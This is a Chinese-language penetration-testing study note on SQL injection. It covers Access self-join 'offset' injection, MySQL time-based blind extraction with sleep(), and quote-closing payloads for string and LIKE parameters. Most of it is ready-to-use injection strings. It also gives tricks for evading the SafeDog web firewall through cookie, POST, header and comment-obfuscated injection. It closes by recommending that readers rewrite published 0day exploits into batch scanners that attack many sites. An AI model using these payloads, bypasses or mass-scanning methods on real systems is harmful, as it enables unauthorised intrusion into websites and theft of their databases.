滲透學習筆記之access偏移注入


access偏移注入是解決一些注入出不來列名或者時的情況,同時要求支持union select ,列名也必須足夠多,知道表名

access注入語句:

1 Order by *

2 a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)

這句話就是說把admin表記為a,同時也記為b,然后查詢條件是a表的id列與b表的id列相等,返回所有相等的行,顯然,a,b都是同一個表,當然全部返回啦。不理解的查一查語法吧。
3 *代表了所有字段,如你查admin表,他有幾個字段,那么*就代表幾個字段

制作注入工具:

基於時間的SQL盲注----------延時注入

127.0.0.1/1.php?name=asd' and 1=2 union select sleep(5)

127.0.0.1/1.php?name=asd' and 1=1 union select sleep(5)

判斷是否有注入,如果有注入 查詢數據庫延遲5秒

127.0.0.1/1.php?name=asd' and 1=2 union select 1,2,sleep(5) --%20

判斷字段數,正確的就延遲

select * from news where id=1 union select sleep(if(length(database())=5,
2,0)),2,3;

確定數據庫長度

select * from news where id=1 union select sleep(if(mid(database(),1,1)='x',2,0)),2,3;

確定數據庫的第一個字段,依次猜數據

 

確定列名

select * from news where id=1 union select sleep(if(length(table_name)=3,

2,0)),2,3 from information_schema.tables where table_schema='sqlin' limit 0,1;

 

mysql> select * from news where id=1 union select sleep(if(mid(table_name,1,1)='

x',2,0)),2,3 from information_schema.tables where table_schema='sqlin' limit 1,1

 依次確定數據。。。

字符型注入 需要閉合前后單引號

id=1

union select * from sitie where  id = "id"

注入語句為: 1' union select 1,2,username from admin and '1' = '1

或者1' union select 1,2,username from admin -- -

搜索型注入

在數據庫語句中語句為 union select * from sitie where  id like "%id%"

注入語句為: 1%' union select 1,2,username from admin and '%1%' = '%1

在滲透網站的時候有時會遇到一些被編碼過后的參數,需要識別后才能注入,常見的有十六進制和base64編碼,可以用小葵轉換之后在進行注入

過狗注入

1 先嘗試下不同的提交方式看下,有些時候,安全狗默認不開啟檢測cookie和post檢測,可以嘗試下

2 http頭許多網站管理員不會開啟,可以嘗試下http頭注入

3  like '%1%'和like'%cewcwe%'替代=判斷注入 安全狗不攔截

4 突破 union select:/**/ // 3# -- - 用 注釋突破
http://www.xxxx.com.cn/xxxx.php?id=1/*!union/*!*//*!select/*!*/1,/*!*/

突破安全狗查詢 ,限於mysql 但是無法使用information_schema

只能猜解數據 將這些替換條件寫進sqlmap 插件中可以做個過狗的插件。。。。

 

www.0day5.com,可以上這個網站看看最新的oday ,改寫里面的exp改成批量掃描的,批量掃站

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM